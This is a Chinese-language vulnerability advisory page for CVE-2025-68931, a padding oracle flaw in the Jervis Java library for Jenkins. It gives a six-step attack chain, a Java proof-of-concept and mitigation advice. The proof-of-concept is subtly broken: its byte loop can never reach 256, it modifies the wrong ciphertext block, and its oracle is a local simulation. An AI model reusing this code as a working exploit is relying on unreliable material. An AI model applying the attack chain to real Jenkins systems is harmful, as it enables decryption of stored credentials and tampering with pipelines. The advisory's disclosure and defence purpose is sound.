IPBUF安全漏洞报告
English
CVE-2025-68931 CVSS 7.5 高危

CVE-2025-68931 Jervis AES/CBC/PKCS5Padding Padding Oracle攻击漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2025-68931
漏洞类型
加密漏洞
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Jervis

相关标签

CVE-2025-68931JervisPadding OracleAES/CBC加密漏洞密文篡改JenkinsJob DSLPipelineJava

漏洞概述

Jervis是一个用于Job DSL插件脚本和共享Jenkins管道库的Java库。该库在2.2版本之前存在严重的加密实现缺陷,使用了不带认证的AES/CBC/PKCS5Padding加密模式。由于缺少消息认证码(MAC)或类似的身份验证机制,攻击者可以利用Padding Oracle攻击来解密加密数据或进行密文篡改攻击。这种漏洞在处理敏感配置信息、凭据或管道参数的Jenkins自动化场景中尤为危险,攻击者可能通过解密或篡改加密内容来获取未授权访问权限或破坏CI/CD流程的完整性。

技术细节

该漏洞源于Jervis库在加密实现中使用了不安全的AES/CBC/PKCS5Padding模式且缺少认证机制。在CBC模式中,每个明文块都与前一个密文块进行XOR操作,而PKCS5Padding用于填充最后一个明文块以满足块大小要求。由于没有消息认证码,攻击者可以通过观察服务端对解密失败的不同响应(如padding错误与密文完整性错误)来推断padding是否正确,从而逐步解密整个密文。这种Padding Oracle攻击允许攻击者在不知道密钥的情况下,通过发送精心构造的密文并分析解密结果来恢复明文或伪造有效的密文。攻击者利用此漏洞可以解密存储在Jenkins配置中的敏感信息,或在不知道加密密钥的情况下生成有效的加密载荷。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Jervis库版本,确认其使用AES/CBC/PKCS5Padding加密且版本低于2.2
STEP 2
步骤2: 获取加密数据
攻击者获取目标系统中的加密数据(通过配置文件、API响应或日志泄露等途径)
STEP 3
步骤3: Padding Oracle探测
攻击者向存在Padding Oracle漏洞的解密端点发送精心构造的密文,观察解密响应差异
STEP 4
步骤4: 中间值计算
通过逐字节遍历256种可能值,根据oracle响应确定每个字节的中间值
STEP 5
步骤5: 明文恢复
利用中间值与前一个密文块异或运算恢复明文块,重复直到所有块解密完成
STEP 6
步骤6: 密文伪造(可选)
攻击者可以修改密文中的特定字节,通过padding验证来生成任意明文的有效密文

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.nio.ByteBuffer; public class PaddingOraclePOC { public static void main(String[] args) throws Exception { byte[] key = "1234567890abcdef".getBytes(); // Example key byte[] iv = new byte[16]; byte[] ciphertext = hexToBytes("target_ciphertext_here"); // Padding Oracle Attack Simulation byte[] decrypted = new byte[0]; for (int block = ciphertext.length / 16 - 1; block >= 0; block--) { byte[] blockCiphertext = new byte[16]; System.arraycopy(ciphertext, block * 16, blockCiphertext, 0, 16); byte[] intermediate = new byte[16]; for (int i = 15; i >= 0; i--) { for (byte b = 0; b < 256; b++) { byte[] crafted = new byte[16]; System.arraycopy(blockCiphertext, 0, crafted, 0, 16); crafted[i] = b; // Check if padding is valid (oracle response) if (checkPaddingOracle(crafted)) { intermediate[i] = (byte)(b ^ (16 - i)); break; } } } byte[] previousBlock = block > 0 ? java.util.Arrays.copyOfRange(ciphertext, (block-1)*16, block*16) : iv; byte[] plaintextBlock = new byte[16]; for (int i = 0; i < 16; i++) { plaintextBlock[i] = (byte)(intermediate[i] ^ previousBlock[i]); } decrypted = concat(plaintextBlock, decrypted); } System.out.println("Decrypted: " + new String(decrypted)); } static boolean checkPaddingOracle(byte[] data) { // Simulate oracle check - in real attack, send to vulnerable endpoint try { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(new byte[16], "AES"), new IvParameterSpec(new byte[16])); cipher.doFinal(data); return true; } catch (Exception e) { return false; } } static byte[] concat(byte[] a, byte[] b) { byte[] result = new byte[a.length + b.length]; System.arraycopy(a, 0, result, 0, a.length); System.arraycopy(b, 0, result, a.length, b.length); return result; } static byte[] hexToBytes(String hex) { int len = hex.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte)((Character.digit(hex.charAt(i), 16) << 4) + Character.digit(hex.charAt(i+1), 16)); } return data; } }

影响范围

Jervis < 2.2

防御指南

临时缓解措施
在正式补丁发布前,应限制Jervis加密数据的暴露范围,避免将加密配置存储在可被未授权用户访问的位置。监控异常的高频解密请求可能表明攻击者正在尝试Padding Oracle攻击。考虑临时使用应用层加密替代库内置加密,确保使用AEAD模式(如ChaCha20-Poly1305或AES-GCM)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表